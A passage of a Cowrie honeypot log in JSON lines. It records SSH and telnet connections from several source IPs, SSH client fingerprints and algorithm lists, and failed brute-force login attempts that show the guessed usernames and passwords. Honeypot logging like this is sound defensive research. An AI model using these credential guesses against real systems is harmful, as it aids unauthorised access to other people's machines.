openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:37.277795Z","src_ip":"159.203.92.129","session":"6903a9536021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"wjwj9595","message":"login attempt [ansible/wjwj9595] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:37.285966Z","src_ip":"159.203.92.129","session":"6903a9536021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:38.290835Z","src_ip":"159.203.92.129","session":"6903a9536021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00161623954773,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:47.164242Z","src_ip":"41.68.62.5","session":"699f7b9db567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":33026,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2eb37a7fe50","protocol":"ssh","message":"New connection: 162.223.91.130:33026 (10.17.0.5:22) [session: b2eb37a7fe50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:58.541110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:58.545169Z","src_ip":"162.223.91.130","session":"b2eb37a7fe50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:58.563791Z","src_ip":"162.223.91.130","session":"b2eb37a7fe50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test2024","message":"login attempt [root/test2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:58.669412Z","src_ip":"162.223.91.130","session":"b2eb37a7fe50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":1366,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8f79708f085","protocol":"ssh","message":"New connection: 118.193.33.81:1366 (159.203.135.109:22) [session: f8f79708f085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:59.313740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:59.321371Z","src_ip":"118.193.33.81","session":"f8f79708f085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:59.537683Z","src_ip":"118.193.33.81","session":"f8f79708f085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:26:59.690385Z","src_ip":"162.223.91.130","session":"b2eb37a7fe50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin#","message":"login attempt [root/Admin#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:00.429742Z","src_ip":"118.193.33.81","session":"f8f79708f085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00189661979675,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:00.673470Z","src_ip":"41.68.62.5","session":"1ca7f98ee70d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:01.654660Z","src_ip":"118.193.33.81","session":"f8f79708f085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45960,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2dbb89ec706","protocol":"telnet","message":"New connection: 185.26.126.47:45960 (159.203.135.109:23) [session: b2dbb89ec706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:09.417094Z"}
{"eventid":"cowrie.session.closed","duration":120.00103950500488,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:14.327415Z","src_ip":"187.88.74.212","session":"eb1aa4da8500","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":58488,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d9ddb098df9","protocol":"telnet","message":"New connection: 187.88.74.212:58488 (159.203.135.109:23) [session: 7d9ddb098df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:15.157743Z"}
{"eventid":"cowrie.session.closed","duration":120.00109601020813,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:15.277395Z","src_ip":"187.88.74.212","session":"191790848333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00136089324951,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:16.145358Z","src_ip":"187.88.74.212","session":"9a695d859db3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":58574,"dst_ip":"159.203.135.109","dst_port":23,"session":"82ff7e24beb7","protocol":"telnet","message":"New connection: 187.88.74.212:58574 (159.203.135.109:23) [session: 82ff7e24beb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:16.743593Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":58518,"dst_ip":"159.203.135.109","dst_port":23,"session":"510e5ba5bbcc","protocol":"telnet","message":"New connection: 187.88.74.212:58518 (159.203.135.109:23) [session: 510e5ba5bbcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:16.812479Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48502,"dst_ip":"159.203.135.109","dst_port":22,"session":"40cf4039375e","protocol":"ssh","message":"New connection: 159.203.92.129:48502 (159.203.135.109:22) [session: 40cf4039375e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:17.426088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:17.432963Z","src_ip":"159.203.92.129","session":"40cf4039375e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:17.437168Z","src_ip":"159.203.92.129","session":"40cf4039375e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"wuxianghui","message":"login attempt [ansible/wuxianghui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:17.458003Z","src_ip":"159.203.92.129","session":"40cf4039375e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":59462,"dst_ip":"159.203.135.109","dst_port":22,"session":"d73be9477274","protocol":"ssh","message":"New connection: 157.7.113.83:59462 (159.203.135.109:22) [session: d73be9477274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:17.617607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:17.622478Z","src_ip":"157.7.113.83","session":"d73be9477274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:17.805790Z","src_ip":"157.7.113.83","session":"d73be9477274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:18.463944Z","src_ip":"159.203.92.129","session":"40cf4039375e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"muiecucacat","message":"login attempt [root/muiecucacat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:18.578090Z","src_ip":"157.7.113.83","session":"d73be9477274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":58762,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec64f923ce58","protocol":"telnet","message":"New connection: 187.88.74.212:58762 (159.203.135.109:23) [session: ec64f923ce58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:19.534301Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:19.750768Z","src_ip":"157.7.113.83","session":"d73be9477274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":58888,"dst_ip":"159.203.135.109","dst_port":23,"session":"dab1cf47137f","protocol":"telnet","message":"New connection: 187.88.74.212:58888 (159.203.135.109:23) [session: dab1cf47137f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:21.795574Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":45215,"dst_ip":"159.203.135.109","dst_port":22,"session":"85aa5258a16e","protocol":"ssh","message":"New connection: 81.30.162.19:45215 (159.203.135.109:22) [session: 85aa5258a16e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:25.474492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:25.479868Z","src_ip":"81.30.162.19","session":"85aa5258a16e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:25.597470Z","src_ip":"81.30.162.19","session":"85aa5258a16e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"isg","message":"login attempt [root/isg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:26.105432Z","src_ip":"81.30.162.19","session":"85aa5258a16e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:27.226261Z","src_ip":"81.30.162.19","session":"85aa5258a16e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":47918,"dst_ip":"10.17.0.5","dst_port":22,"session":"43c307dae53b","protocol":"ssh","message":"New connection: 162.223.91.130:47918 (10.17.0.5:22) [session: 43c307dae53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:37.358050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:37.363028Z","src_ip":"162.223.91.130","session":"43c307dae53b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:37.382000Z","src_ip":"162.223.91.130","session":"43c307dae53b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfghj","message":"login attempt [ubuntu/asdfghj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:37.489768Z","src_ip":"162.223.91.130","session":"43c307dae53b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:38.510886Z","src_ip":"162.223.91.130","session":"43c307dae53b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.16333866119385,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:52.580304Z","src_ip":"185.26.126.47","session":"b2dbb89ec706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":47554,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a049f0c46ab","protocol":"ssh","message":"New connection: 118.193.33.81:47554 (159.203.135.109:22) [session: 7a049f0c46ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:54.787647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:27:54.793166Z","src_ip":"118.193.33.81","session":"7a049f0c46ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 